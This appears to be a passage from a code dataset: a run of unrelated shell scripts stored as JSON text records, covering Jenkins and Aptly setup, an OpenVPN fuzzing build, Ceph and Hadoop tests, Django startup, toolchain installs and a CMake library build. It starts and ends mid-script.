jenkins -jp Pass\n\nEOF\n}\n\nORACLE_USER=\"\"\nORACLE_PASSWORD=\"\"\nJENKINS_USER=\"\"\nJENKINS_PWD=\"\"\nAPTLY_REPO_NAME=\"\"\nWORKDIR=\"/opt/azure_jenkins_config\"\n\nwhile [[ $# -gt 1 ]]\ndo\nkey=\"$1\"\ncase $key in\n -ou)\n ORACLE_USER=\"$2\"\n shift\n ;;\n -op)\n ORACLE_PASSWORD=\"$2\"\n shift\n ;;\n -ar)\n APTLY_REPO_NAME=\"$2\"\n shift\n ;;\n -ju)\n JENKINS_USER=\"$2\"\n shift\n ;;\n -jp)\n JENKINS_PWD=\"$2\"\n shift\n ;;\n *)\n\n ;;\nesac\nshift\ndone\n\n#parameter checks\nif [ -z $ORACLE_USER ]\nthen\n echo \"parameter -ou missing.\"\n print_usage\n exit 1 \nfi\n\nif [ -z $ORACLE_PASSWORD ]\nthen\n echo \"parameter -op missing.\"\n print_usage\n exit 1 \nfi\n\nif [ -z $JENKINS_USER]\nthen\n echo \"parameter -ju missing.\"\n print_usage\n exit 1 \nfi\n\nif [ -z $JENKINS_PWD ]\nthen\n echo \"parameter -jp missing.\"\n print_usage\n exit 1 \nfi\n\n# Installing Aptly\n$WORKDIR/setup_aptly.sh -ar $APTLY_REPO_NAME\n# Pausing to allow nginx to start completely\nsleep 10\n\n# Verify that we can login to Jenkins\nerror_check=$(sudo java -jar /var/cache/jenkins/war/WEB-INF/jenkins-cli.jar -s http://$JENKINS_USER:$JENKINS_PWD@localhost:8080 who-am-i 2> /dev/null)\n\nif [ -z \"$error_check\" ]\nthen\n echo -e \"\\e[31mError\\e[0m - Jenkins Authentication Error \\n\"\n echo \"Your Jenkins credentials do not match the Jenkins user \\n\"\n echo \"Please run the script again with the following command: \\n\"\n echo \"init_jenkins.sh -ju %YOUR_JENKINS_USERNAME% -jp %JENKINS_USER_PASSWORD%\"\nelse\n echo -e \"\\e[33mAuthenticated\\e[0m\"\n # This script to configure the following stuff from Jenkins automatically: JDK, Oracle user and password, Gradle\n sudo java -jar /var/cache/jenkins/war/WEB-INF/jenkins-cli.jar -s http://$JENKINS_USER:$JENKINS_PWD@localhost:8080 groovy $WORKDIR/init.groovy $ORACLE_USER $ORACLE_PASSWORD\n\n sudo service jenkins stop \n sudo service jenkins start \nfi"} {"text": "#!/usr/bin/env bash\n\nif [[ $1 == \"--no-deps\" ]]; then\n shift\n docker-compose run --rm --no-deps qbot $@\nelse\n docker-compose run --rm qbot $@\nfi"} {"text": "0\n#!/bin/bash -eu\n# Copyright 2021 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n################################################################################\n\n# Changes in the code so we can fuzz it.\necho \"\" >> $SRC/openvpn/src/openvpn/openvpn.c\necho \"ssize_t fuzz_get_random_data(void *buf, size_t len) { return 0; }\" >> $SRC/openvpn/src/openvpn/fake_fuzz_header.h\necho \"#include \\\"fake_fuzz_header.h\\\"\" >> $SRC/openvpn/src/openvpn/openvpn.c\n\nsed -i 's/read(/fuzz_read(/g' ./src/openvpn/console_systemd.c\nsed -i 's/fgets(/fuzz_fgets(/g' ./src/openvpn/console_builtin.c\nsed -i 's/fgets(/fuzz_fgets(/g' ./src/openvpn/misc.c\nsed -i 's/#include \"forward.h\"/#include \"fuzz_header.h\"\\n#include \"forward.h\"/g' ./src/openvpn/proxy.c\nsed -i 's/select(/fuzz_select(/g' ./src/openvpn/proxy.c\nsed -i 's/send(/fuzz_send(/g' ./src/openvpn/proxy.c\nsed -i 's/recv(/fuzz_recv(/g' ./src/openvpn/proxy.c\n\nsed -i 's/fopen/fuzz_fopen/g' ./src/openvpn/console_builtin.c\nsed -i 's/fclose/fuzz_fclose/g' ./src/openvpn/console_builtin.c\n\nsed -i 's/sendto/fuzz_sendto/g' ./src/openvpn/socket.h\nsed -i 's/#include \"misc.h\"/#include \"misc.h\"\\nextern size_t fuzz_sendto(int sockfd, void *buf, size_t len, int flags, struct sockaddr *dest_addr, socklen_t addrlen);/g' ./src/openvpn/socket.h\n\nsed -i 's/fp = (flags/fp = stdout;\\n\\/\\//g' ./src/openvpn/error.c\n\nsed -i 's/= write/= fuzz_write/g' ./src/openvpn/packet_id.c\n\n# Copy corpuses out\nzip -r $OUT/fuzz_verify_cert_seed_corpus.zip $SRC/boringssl/fuzz/cert_corpus\n\n# Build openvpn\nautoreconf -ivf\n./configure --disable-lz4 --with-crypto-library=openssl OPENSSL_LIBS=\"-L/usr/local/ssl/ -lssl -lcrypto\" OPENSSL_CFLAGS=\"-I/usr/local/ssl/include/\"\nmake\n\n# Make openvpn object files into a library we can link fuzzers to\ncd src/openvpn\nrm openvpn.o\nar r libopenvpn.a *.o\n\n# Compile our fuzz helper\n$CXX $CXXFLAGS -g -c $SRC/fuzz_randomizer.cpp -o $SRC/fuzz_randomizer.o\n\n# Compile the fuzzers\nfor fuzzname in fuzz_dhcp fuzz_misc fuzz_base64 fuzz_proxy fuzz_buffer fuzz_route fuzz_packet_id fuzz_mroute fuzz_list fuzz_verify_cert fuzz_forward; do\n $CC -DHAVE_CONFIG_H -I. -I../.. -I../../include -I../../include -I../../src/compat \\\n -DPLUGIN_LIBDIR=\\\"/usr/local/lib/openvpn/plugins\\\" -Wall -std=c99 $CFLAGS \\\n -c $SRC/${fuzzname}.c -o $SRC/${fuzzname}.o\n\n # Link with CXX\n $CXX ${CXXFLAGS} ${LIB_FUZZING_ENGINE} $SRC/${fuzzname}.o -o $OUT/${fuzzname} $SRC/fuzz_randomizer.o \\\n libopenvpn.a ../../src/compat/.libs/libcompat.a /usr/lib/x86_64-linux-gnu/libnsl.a \\\n /usr/lib/x86_64-linux-gnu/libresolv.a /usr/lib/x86_64-linux-gnu/liblzo2.a \\\n -lssl -lcrypto -ldl\ndone"} {"text": "insanity54/imobsoansible/build.sh\n#!/bin/bash\n\nansible-galaxy install -f -r requirements.yml --roles-path ./roles"} {"text": "juszczakn/racketscript\n#!/bin/sh\n\nset -e\n\nNODEJS_EXE=node\nRACO_EXE=raco\n\necho \"RacketScript Installation\"\necho \" [https://github.com/vishesh/racketscript]\"\necho \"===========================================\"\necho\n\nif ! type \"$NODEJS_EXE\" > /dev/null; then\n echo \"NodeJS (node) not found in \\$PATH. [https://nodejs.org/]\"\n exit 1\nfi\n\nif ! type \"$RACO_EXE\" > /dev/null; then\n echo \"Racket not found in \\$PATH [http://www.racket-lang.org/]\"\n exit 1\nfi\n\nraco pkg install -t github vishesh/racketscript/?path=racketscript-compiler#master\nraco pkg install -t github vishesh/racketscript/?path=racketscript-extras#master\n\necho \"RacketScript installed successfully. Enjoy!\""} {"text": "mlasch/smart-garden-gateway-yocto-meta-gardena\n#!/bin/sh\n\n# This script/daemon handles the power LED during the boot process.\n\nset -eu -o pipefail\n\nLED=/sys/class/leds/smartgw:power:\n\n# green blinking during boot\nfor color in blue red; do\n echo none > ${LED}${color}/trigger\n echo 0 > ${LED}${color}/brightness\ndone\necho timer > ${LED}green/trigger\necho 500 > ${LED}green/delay_on\necho 500 > ${LED}green/delay_off\n\n# wait for boot to complete\nstatus=\"$(systemctl is-system-running --wait || true)\"\n\n# indicate success\necho none > ${LED}green/trigger\necho 1 > ${LED}green/brightness\n\n# show error during development\nif [ \"$status\" != \"running\" ]; then\n if [ \"$(fw_printenv -n dev_debug_led_systemd 2>/dev/null || true)\" = \"1\" ]; then\n echo 1 > ${LED}red/brightness\n fi\nfi\n\n# SG-12933 / SGISSUE-1896 indicate WiFi MCU crash with LED blink pattern\n# TODO SGISSUE-1896 remove once issue is fixed\nwhile true; do\n wifistatus=\"fail\"\n dmesg | grep -q \"mt76_wmac 10300000.wmac: MCU message 8 (seq [0-9]\\\\+) timed out$\" || wifistatus=\"ok\"\n if [ \"$wifistatus\" = \"fail\" ]; then\n echo none > ${LED}green/trigger\n echo 0 > ${LED}green/brightness\n echo timer > ${LED}red/trigger\n echo 1700 > ${LED}red/delay_on\n echo 300 > ${LED}red/delay_off\n fi\n sleep 60\ndone"} {"text": "#!/usr/bin bash\n\nset -env\n\nnpm run doc:build\n\ncd build\n\ngit init\n\ngit add -A\n\ngit commit -m 'deploy'\n\ngit push -f :guobin211/design_code.git master:gh-pages\n\ncd -"} {"text": "#!/bin/bash\n\nif [ \"$1\" ]; then\n export CITY=$1\nelse\n export CITY=\"Houston\"\nfi\n\nif [ \"$2\" ]; then\n export STATE=$2\nelse\n export STATE=\"Texas\"\nfi\n\nif [ \"$3\" ];\nthen\n export STATE_ABBR=$3\nelse\n export STATE_ABBR=\"TX\"\nfi\n\nif [ \"$4\" ]\nthen\n export ZIPCODE=$4\nelse\n export ZIPCODE=\"77056\"\nfi\n\n# Run Docker container\ndocker run vaccine-watcher:latest --city=$CITY --state=$STATE --abbr=$STATE_ABBR --zip=$ZIPCODE\n\n# Example Run: ./scripts/run.sh \"Woodland\" \"California\" \"CA\" \"95776\""} {"text": "der-openswitch-praktiker/der-openswitch-praktiker.github.ioKapitel/14/server3.sh\n!\nfrr version 7.1\nfrr defaults traditional\nhostname server3\nlog syslog informational\nno ip forwarding\nno ipv6 forwarding\nservice integrated-vtysh-config\n!\ninterface eth1\n bandwidth 1000\n description sw13:e101-005-0\n ip address 33.33.33.33/32\n ip ospf area 0\n ip ospf dead-interval 4\n ip ospf hello-interval 1\n ip ospf network point-to-point\n ipv6 ospf6 dead-interval 4\n ipv6 ospf6 hello-interval 1\n ipv6 ospf6 network point-to-point\n!\ninterface eth2\n bandwidth 1000\n description sw14:e101-005-0\n ip address 33.33.33.33/32\n ip ospf area 0\n ip ospf dead-interval 4\n ip ospf hello-interval 1\n ip ospf network point-to-point\n ipv6 ospf6 dead-interval 4\n ipv6 ospf6 hello-interval 1\n ipv6 ospf6 network point-to-point\n!\ninterface lo\n ip address 33.33.33.1/32\n ip address 33.33.33.2/32\n ip address 33.33.33.3/32\n ip address 33.33.33.33/32\n ip address 33.33.33.4/32\n ip ospf area 0\n ipv6 address fdfdf8:f53e:61e4::18/128\n!\nrouter ospf\n ospf router-id 33.33.33.33\n auto-cost reference-bandwidth 40000\n passive-interface eth0\n!\nrouter ospf6\n ospf6 router-id 33.33.33.33\n auto-cost reference-bandwidth 40000\n interface eth1 area 0.0.0.2\n interface eth2 area 0.0.0.2\n interface lo area 0.0.0.2\n!\nline vty\n!\nbfd\n!\nend"} {"text": "#!/usr/bin/env bash\nif [ -z \"$1\" ]; then\n echo \"Please specify which language_country suffix(es) you want to compile (e.g. en_US, fr, etc.)\"\n exit 1\nfi\n\nmkdir -p target/classes > /dev/null 2>&1\n\nfor lang in $*\ndo\n echo \"Compiling $lang to package com.jukusoft.translations\"\n msgfmt --verbose -f -r com.jukusoft.translations.messages --java2 -d target/classes \\\n -l ${lang} data/i18n/${lang}.po\ndone"} {"text": "#!/usr/bin/env bash\ncd ..\nrm -rf build/\ncmake -S. -B build -G Ninja -DENABLE_CLANG_TIDY=ON -DCMAKE_TOOLCHAIN_FILE=\"$HOME\"/vcpkg/scripts/buildsystems/vcpkg.cmake\ncmake --build build\n# Settings for tests to run in .clang-tidy"} {"text": "#!/usr/bin/env bash\n\nset -e\nset -x\n\n# bail if $TESTDIR is not set as this test will fail in that scenario\n[ -z $TESTDIR ] && { echo \"\\$TESTDIR needs to be set, but is not. Exiting.\"; exit 1; }\n\n# if HADOOP_PREFIX is not set, use default\n[ -z $HADOOP_PREFIX ] && { HADOOP_PREFIX=$TESTDIR/hadoop; }\n\n# create pools with different replication factors\nfor repl in 2 3 7 8 9; do\n name=hadoop.$repl\n ceph osd pool create $name 8 8\n ceph osd pool set $name size $repl\n\n id=`ceph osd dump | sed -n \"s/^pool \\([0-9]*\\) '$name'.*/\\1/p\"`\n ceph fs add_data_pool cephfs $id\ndone\n\n# create a file in each of the pools\nfor repl in 2 3 7 8 9; do\n name=hadoop.$repl\n $HADOOP_PREFIX/bin/hadoop fs -rm -f /$name.dat\n dd if=/dev/zero bs=1048576 count=1 | \\\n $HADOOP_PREFIX/bin/hadoop fs -Dceph.data.pools=\"$name\" \\\n -put - /$name.dat\ndone\n\n# check that hadoop reports replication matching\n# that of the pool the file was written into\nfor repl in 2 3 7 8 9; do\n name=hadoop.$repl\n repl2=$($HADOOP_PREFIX/bin/hadoop fs -ls /$name.dat | awk '{print $2}')\n if [ $repl -ne $repl2 ]; then\n echo \"replication factors didn't match!\"\n exit 1\n fi\ndone\n\nexit 0"} {"text": "function install {\n VERSION=\"${2}\"\n installer_init \"${1}\" \"\" \"\"\n\n OSinstall iptables 1\n OSinstall fail2ban 1\n\n export EMAILsender=\"`iniget \\\"${INSTANCE}\\\" mailsender`\"\n export EMAILrecipient=\"`iniget \\\"${INSTANCE}\\\" mailrecipient`\"\n\n CFGFOLDER=\"${INSTALLER_HOME}/01\"\n\n [ -e /etc/fail2ban/jail.local ] || cfgwrite \"${CFGFOLDER}/jail.local\" \"/etc/fail2ban\"\n\n touch /var/log/fail2ban.log\n chcon -u system_u /var/log/fail2ban.log\n\n systemctl enable fail2ban || message 3 \"Failed to enable fail2ban service\"\n systemctl restart fail2ban || message 3 \"Failed to start fail2ban service\"\n\n FILE=\"/usr/local/bin/offenders\"\n [ -e \"${FILE}\" ] || {\n cat \"${CFGFOLDER}/offenders\" >\"${FILE}\"\n chcon -u system_u \"${FILE}\"\n chmod 755 \"${FILE}\"\n }\n }"} {"text": "youyadebaba1/TiebaProject\n#!/bin/bash\n# 等待mysql服务启动\necho \"等待mysql服务启动\"\nsleep 10\n# 迁移django数据库\necho \"迁移django数据库\"\npython manage.py migrate\n# 导入数据\necho \"导入数据\"\npython manage.py loaddata initial_data.yaml\n# 创建超级管理员\necho \"创建超级管理员\"\necho \"from django.contrib.auth.models import User; User.objects.create_superuser('admin', '', 'admin123456')\" | python manage.py shell\necho \"用户名:admin\"\necho \"密码:\"\n# 启动后台任务\necho \"启动supervisord任务\"\nsupervisord -c supervisord.conf\n# 启动web服务\necho \"启动web服务\"\npython /app/manage.py runserver 0.0.0.0:8000"} {"text": "#!/bin/bash\n\nNUMGPUS=$1\nDATAPATH=$2\nMODELPATH=$3\nTRAINSTEPS=$4\nJOB=$5\nPSLIST=$6\nMASTER=$7\nWLIST=$8\n\nCORRECTEDPSLIT=$(echo $PSLIST | sed -e 's/,/\",\"/g')\nCORRECTEDWLIST=$(echo $WLIST | sed -e 's/,/\",\"/g')\n\nexport PATH=/usr/local/cuda/bin:/usr/local/bin:/opt/aws/bin:/home/ubuntu/src/cntk/bin:/usr/local/mpi/bin:$PATH\nexport LD_LIBRARY_PATH=/home/ubuntu/src/cntk/bindings/python/cntk/libs:/usr/local/cuda/lib64:/usr/local/lib:/usr/lib:/usr/local/cuda/extras/CUPTI/lib64:/usr/local/mpi/lib:$LD_LIBRARY_PATH\nexport PKG_CONFIG_PATH=/usr/local/lib/pkgconfig:$PKG_CONFIG_PATH\nexport PYTHONPATH=/home/ubuntu/src/cntk/bindings/python\nexport JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64\nexport HADOOP_HDFS_HOME=/opt/hadoop-2.9.0\nexport LD_LIBRARY_PATH=$LD_LIBRARY_PATH:${JAVA_HOME}/jre/lib/amd64/server\nexport CLASSPATH=$(${HADOOP_HDFS_HOME}/bin/hadoop classpath --glob)\nexport TF_CONFIG='{ \"environment\": \"cloud\", \"model_dir\": \"'$MODELPATH'\", \"cluster\": { \"master\": [\"'$MASTER'\"], \"ps\": [\"'$CORRECTEDPSLIT'\"]}, \"task\": {\"type\": \"'$JOB'\", \"index\": 0} }' \n\necho \"Setting paths...\"\n\nenv > whole_env.txt\n\nexport LD_LIBRARY_PATH=/home/ubuntu/src/cntk/bindings/python/cntk/libs:/usr/local/cuda/lib64:/usr/local/lib:/usr/lib:/usr/local/cuda/extras/CUPTI/lib64:/usr/local/mpi/lib:/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/server\n\necho $TF_CONFIG > log_env.txt\n\necho $LD_LIBRARY_PATH >> log_env.txt\n\npython3 cifar10_main.py --data-dir=$DATAPATH --job-dir=$MODELPATH --num-gpus=$NUMGPUS --train-steps=$TRAINSTEPS"} {"text": "1-10\n#! /bin/bash\n\n\nNETWORK=\"eth\"\nNODE_KEY=\"\"\nCRYPTO='{\"cipher\":\"aes-128-ctr\",\"ciphertext\":\"ad821681586cac20d4dac7a1becdf83bb67bc134f86b35eef69b8b89246ba0ac\",\"cipherparams\":{\"iv\":\"8d4219c97f9d60750f8b050e75e5fc24\"},\"kdf\":\"scrypt\",\"kdfparams\":{\"dklen\":32,\"n\":262144,\"p\":1,\"r\":8,\"salt\":\"fe0f103ab84cf273dd6d0c8b47db27735f32359d5ae6067b63ed4e554c75b97e\"},\"mac\":\"8dc0fce220979e970ccafea5690ce09754f93103e77de665938722fb00c784bd\"}'\nPASS=\"\"\nOUT_ADDRESS=\"2217F561635a924F2C7ad1149Ca1dCf35Eaee961\"\nSECRET=\"\"\nVALUE=\"10\"\n\n #--crypto $CRYPTO\n\nRUST_BACKTRACE=1 cargo run -- $NETWORK \\\n --pub_key $NODE_KEY \\\n --secret $SECRET \\\n --password $ \\\n --out_address $OUT_ADDRESS \\\n --dust_address \"\" \\\n --dust_amount \"0.0\" \\\n --value $VALUE \\\n --data \"\""} {"text": "#!/bin/bash\n\n#this will not necessarily work outside of my computer :-p, but useful for quick development iteration extending checkmate as I build this app ;-)\n\npushd ../checkmate\n\ngoreleaser build --config .goreleaser-mac.yml --rm-dist --snapshot\n\npopd\n\ncp ../checkmate/dist/checkmate_darwin_amd64/checkmate checkmate-binary/darwin"} {"text": "0\n#!/bin/bash\necho \"=================================\"\necho \"== Adding Java to install list ==\"\necho \"=================================\"\nsudo add-apt-repository ppa:webupd8team/java\nsudo apt-get update\necho \"=====================\"\necho \"== Installing Java8==\"\necho \"=====================\"\nsudo apt-get install oracle-java8-installer\necho \"=====================\"\necho \"== Installing Java7==\"\necho \"=====================\"\nsudo apt-get install oracle-java7-installer\necho \"======================\"\necho \"== Installing Java6 ==\"\necho \"======================\"\nsudo apt-get install oracle-java6-installer\necho \"==============================\"\necho \"== Setting Java8 as default ==\"\necho \"==============================\"\nsudo apt-get install oracle-java8-set-default\necho \"=============================\"\necho \"== Downloading Scala 2.11.8==\"\necho \"=============================\"\nsudo wget \"http://www.scala-lang.org/files/archive/scala-2.11.8.deb\"\necho \"============================\"\necho \"== Installing Scala 2.11.8==\"\necho \"============================\"\nsudo dpkg -i scala-2.11.8.deb\nsudo rm -r scala-2.11.8.deb"} {"text": "#Install Deps\nsudo apt-get update\nsudo apt-get install build-essential pkg-config libc6-dev m4 g++-multilib autoconf libcurl4-gnutls-dev libtool ncurses-dev unzip git python python-zmq zlib1g-dev wget libcurl3-gnutls-dev bsdmainutils automake curl\n#Install Komodo\ncd ~\ngit clone https://github.com/jl777/komodo\ncd komodo\ngit checkout dev\n./zcutil/fetch-params.sh\n./zcutil/build.sh -j$(nproc)\nsudo ln -sf /home/$USER/komodo/src/komodo-cli /usr/local/bin/komodo-cli\nsudo ln -sf /home/$USER/komodo/src/komodod /usr/local/bin/komodod"} {"text": "samruddhikhandale/Oryx\n!/bin/bash\n\ngunicorn -w 4 myapp:app"} {"text": "mlaily/fizzboom\n#!/usr/bin/env bash\n\nset -euo pipefail\n\nesy dune exec server 5000"} {"text": "#!/bin/sh\n\nset -e\n\npython3 manage.py compilemessages\npython3 manage.py collectstatic --noinput\npython3 manage.py migrate --noinput\nuwsgi --ini /app/uwsgi.ini"} {"text": "#!/bin/bash\n\n# 得到ip\nip=`ip addr show wlp3s0 | awk ' !/127.0.0.1/ && /inet/ { gsub(/\\/.*/, \"\", $2); print \"\"$2 }'`\necho $ip\nip_index=`echo $ip | awk -F '.' '{print $4}'`\n\n#计算cpu使用率\ncpu=`top -b -n1 | fgrep \"Cpu(s)\" | tail -1 | awk -F'id,' '{split($1, vs, \",\"); v=vs[length(vs)]; sub(/\\s+/, \"\", v);sub(/\\s+/, \"\", v); printf \"%d\", 100-v;}'`\necho $cpu\n\n#统计内存使用率\nmem_used_persent=`free -m | awk -F '[ :]+' 'NR==2{printf \"%d\", ($2-$7)/$2*100}'`\necho $mem_used_persent"} {"text": "#!/bin/bash\nclear\nrm -f testcase.o pairhmm_gpu.o main.cpp.o testcase_iterator.o libgkl_pairhmm.so\nnvcc -c -arch=compute_52 -I. -I/usr/local/cuda/include ForwardDiagonalPipeline.cu -o pairhmm_gpu.o -std=c++11 -Wno-deprecated-gpu-targets -rdc=true -lcudadevrt -lcudart\nnvcc -c --compiler-options -fPIC -arch=compute_52 -I. -I/usr/local/cuda/include ForwardDiagonalPipeline.cu -shared -o libgkl_pairhmm.so -std=c++11 -Wno-deprecated-gpu-targets -rdc=true -lcudadevrt -lcudart\ng++ -Wall -W -std=c++11 -g -msse -mfpmath=sse -ffast-math -O4 -Wa,-q -pedantic -c testcase.cpp -o testcase.o\ng++ -Wall -W -std=c++11 -g -msse -mfpmath=sse -ffast-math -O4 -Wa,-q -pedantic -c testcase_iterator.cpp -o testcase_iterator.o\ng++ -c -l. GPUPairHMM.cc -o main.cpp.o -std=c++11 -g -msse -mfpmath=sse -ffast-math -O4\nnvcc -o test pairhmm_gpu.o main.cpp.o testcase.o testcase_iterator.o -arch=compute_52 -std=c++11 -L/usr/local/cuda/lib -lcudart"} {"text": "g++ /home/main.cpp -o /home/main 2> /home/errors.txt\ntimeout 5 ./home/main < /home/input.txt > /home/output.txt"} {"text": "#!/bin/bash\nCPG='\\033[1;34m'\nTNG='\\033[1;32m'\n\necho -e \"${CPG}Would you like to uninstall ${TNG}App1? ${CPG}[y/n] (-1.4 GB)\"\nread kire\nif [[ $kire == y* ]]; then\n\n echo -e \"${CPG}Deleting ${TNG}App1...\"\n cd ../../\n rm -r MyCompany\n\n echo -e \"${CPG}Removing ${TNG}Shortcut...\"\n rm /usr/share/applications/app1.desktop\nelse\n echo \"Removal Stopped\"\nfi"} {"text": "BulkImport.sh\n#!/bin/bash\n\n#import configuration variables\nbase_file_path=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" &> /dev/null && pwd )\"\nconfig_file=\"$base_file_path/config.sh\"\nsource $config_file\n\nto_import_file=\"$1\"\ntemporary_file=/tmp/temporary.jrnl\n\noriginal_dir=$(pwd)\nnewdir=$(dirname $to_import_file)\nto_import_file=$(basename $to_import_file)\ncd $newdir\n\nunset LEDGER_STRICT\ntouch $temporary_file\n\nwhile read line\ndo\n\teval \"${path_to_wd}HLedgerImport.sh $line >> $temporary_file\"\ndone < $to_import_file\n\nledger -f $temporary_file --sort date print | sed 's/\\( \\$\\)/ \\1/'\n#this sed statement aligns all amounts to match ledger-mode-align-txn\nrm $temporary_file\nexport LEDGER_STRICT=true\n\ncd $original_dir"} {"text": "100-1000\n#!/usr/bin/env bash\n\nset -euxo pipefail\n\nuid=image-$(date +%s)\ncrane manifest wait.kontain.me/${uid} || true\nsleep 11 # for good measure\ntime crane validate --remote=wait.kontain.me/${uid}\ntime crane validate --remote=wait.kontain.me/${uid}"} {"text": "#!/bin/bash\n\nif [ \"$(uname)\" == \"Darwin\" ]; then\n os=\"Darwin\"\nelif [ \"$(expr substr $(uname -s) 1 5)\" == \"Linux\" ]; then\n os=\"Linux\"\nelif [\"$(expr substr $(uname -s) 1 10)\"==\"MINGW32_NT\"];then\n os=\"Win32\"\nfi\necho \"os is $os\"\n\nif [[ -f $1 ]]; then\n # read arguments from file, and choose those arguments we wanted\n filename=$1\n while read line; do\n key=$(echo $line | cut -d '=' -f1)\n if [ \"$os\" == \"Darwin\" ]; then\n value=$(echo $line | cut -d '=' -f2-)\n elif [ \"$os\" == \"Linux\" ]; then\n value=$(echo $line | cut -d '=' --complement -f1)\n else\n value=\"\"\n fi\n\n case \"$key\" in\n --toolchain) toolchain=$(echo $value | sed \"s/\\\"//g\");;\n --lib) lib=$(echo $value | sed \"s/\\\"//g\");;\n --target) target=$value;;\n --cflag) cflag=$(echo $value | sed \"s/#/ /g\");;\n --cxxflag) cxxflag=$(echo $value | sed \"s/#/ /g\");;\n --asmflag) asmflag=$(echo $value | sed \"s/#/ /g\");;\n --ldflag) ldflag=$(echo $value | sed \"s/#/ /g\");;\n --cpu) cpu=$value;;\n --macro_list) macro_list=$(echo $value | sed \"s/#/ /g\" | sed 's/\\\\\\\"/\\\"/g');;\n --global_inc ) global_inc=$(echo $value | sed \"s/#/ /g\" | sed 's/\\\\\\\"//g');;\n\n *) echo \"discard option $line\";;\n esac;\n done < \"$filename\"\nelse\n # choose those options we needed, and discard others\n until [ $# -eq 0 ]\n do\n key=$(echo $1 | cut -d '=' -f1)\n if [ \"$os\" == \"Darwin\" ]; then\n value=$(echo $1 | cut -d '=' -f2-)\n elif [ \"$os\" == \"Linux\" ]; then\n value=$(echo $1 | cut -d '=' --complement -f1)\n else\n value=\"\"\n fi\n\n case \"$key\" in\n --toolchain) toolchain=$value;shift;;\n --lib) lib=$value;shift;;\n --target) target=$value;shift;;\n --cflag) cflag=$(echo $value | sed \"s/#/ /g\");shift;;\n --cxxflag) cxxflag=$(echo $value | sed \"s/#/ /g\");shift;;\n --asmflag) asmflag=$(echo $value | sed \"s/#/ /g\");shift;;\n --ldflag) ldflag=$(echo $value | sed \"s/#/ /g\");shift;;\n --cpu) cpu=$value;shift;;\n --macro_list) macro_list=$(echo $value | sed \"s/#/ /g\");shift;;\n --global_inc ) global_inc=$(echo $value | sed \"s/#/ /g\" | sed \"s/\\\"/ /g\");shift;;\n\n *) echo \"discard option $1\";shift;;\n esac;\n done\nfi\necho \"the script is $0\"\necho \"current dir is $(pwd)\"\necho \"toolchain is $toolchain\"\necho \"lib is $lib\"\necho \"target is $target\"\necho \"cflag is $cflag\"\necho \"cxxflag is $cxxflag\"\necho \"asmflag is $asmflag\"\necho \"ldflag is $ldflag\"\necho \"cpu is $cpu\"\necho \"macro_list is $macro_list\"\necho \"global_inc is $global_inc\"\n\n# =======================================================\n# do our work\n# enter into component path\ncomp_path=$(dirname $0)\ncd $comp_path\nif [ $? -ne 0 ]; then\n echo \"enter into $comp_path fail!\"\n exit 1\nfi\n\n# add your specific build command, and set the path of library generated by\n# third party build tools\n#cd cmake_test\nif [ ! -d \"build\" ]; then\n mkdir build\nfi\ncd build\n\nif [ -n \"$cpu\" ]; then\n cflag=\"$cflag -mcpu=$cpu\"\n cxxflag=\"$cxxflag -mcpu=$cpu\"\n ldflag=\"$ldflag -mcpu=$cpu\"\nfi\n\ncflag=\"$cflag --specs=nosys.specs $macro_list\"\ncxxflag=\"$cxxflag --specs=nosys.specs $macro_list\"\nldflag=\"$ldflag --specs=nosys.specs\"\n\nPY_BUILD_OPTION=\"\"\nfor item in ${macro_list[*]}\ndo\n if [ \"${item:0:11}\" == \"-DPY_BUILD_\" ]; then\n PY_BUILD_OPTION=\"${PY_BUILD_OPTION} ${item}\"\n fi\ndone\n\nfor item in ${global_inc[*]}\ndo\n\tvalue=\" -I${item}\"\n cflag=${cflag}${value}\n cxxflag=${cxxflag}${value}\n\ndone\n\ndata_prebuild=\"hardware/chip/haas1000/prebuild/data/\"\npython_home=\"lib/micropython/\"\ncp -rf ../framework/* ../../../${data_prebuild}${python_home}\ncp -rf ../example/python-apps ../../../${data_prebuild}\n\nif [ ! -f \"Makefile\" ]; then\n cmake .. -DCMAKE_C_COMPILER=\"${toolchain}-gcc\" -DCMAKE_CXX_COMPILER=\"${toolchain}-g++\" -DCMAKE_C_FLAGS=\"${cflag}\" -DCMAKE_CXX_FLAGS=\"${cxxflag}\" -DCMAKE_BUILD_FLAGS=\"${ldflag} \" ${PY_BUILD_OPTION}\nfi\n\nmake\n\nlibraries=\"./libpyEngine.a\"\n\n# copy library to AliOS-Things library folder\nlib_path=$(dirname $lib)\nif [ ! -d $lib_path ]; then\n mkdir -p $lib_path\nfi\ncp $libraries $lib_path\nif [ $? -ne 0 ]; then\n echo \"copy $libraries failed\"\n exit 1\nfi\n# =======================================================\n\n# result\necho \"start copy python-apps to hardware/chip/haas1000/prebuild/data\"\ncd ..\ncp -r example/python-apps ../../hardware/chip/haas1000/prebuild/data\necho \"run external script success\"\nexit 0"} {"text": "example/web/copy-tdlib.sh\n#!/bin/sh\ncd $(dirname $0)\n\nDEST=tdweb/src/prebuilt/release/\nmkdir -p $DEST || exit 1\ncp build/wasm/td_wasm.js build/wasm/td_wasm.wasm $DEST || exit 1\ncp build/asmjs/td_asmjs.js build/asmjs/td_asmjs.js.mem $DEST || exit 1"} {"text": "#!/bin/bash\nsudo apt-get update\nsudo apt install mongodb -y\nsudi apt install awscli -y\nmongo --eval 'db.addUser({user: \"${mongodb_user}\", pwd: \"${_password}\", roles: [\"root\"]})'"} {"text": "update.sh\n#/usr/bin/env bash\n\nROOTDIR=$(dirname \"$0\")\nread -p \"Enter Your GitHub Token: \" TOKEN\necho\n\nwrite_version() {\n\tread file version\n\techo $version > $ROOTDIR/shared/definitions/$file\n}\n\ngetLatest() {\n\tcurl -H \"Authorization: token $TOKEN\" --silent \"https://api.github.com/repos/$1/releases/latest\" | ruby -rjson -e 'puts JSON.parse(STDIN.read)[\"tag_name\"].delete_prefix(\"v\").gsub(\"_\",\".\").delete_prefix(\"curl-\")'\n}\n\ngetLatestTag() {\n\tPAGES=$(curl -H \"Authorization: token $TOKEN\" -I --silent \"https://api.github.com/repos/$1/tags\" | grep -ie '^Link:' | awk 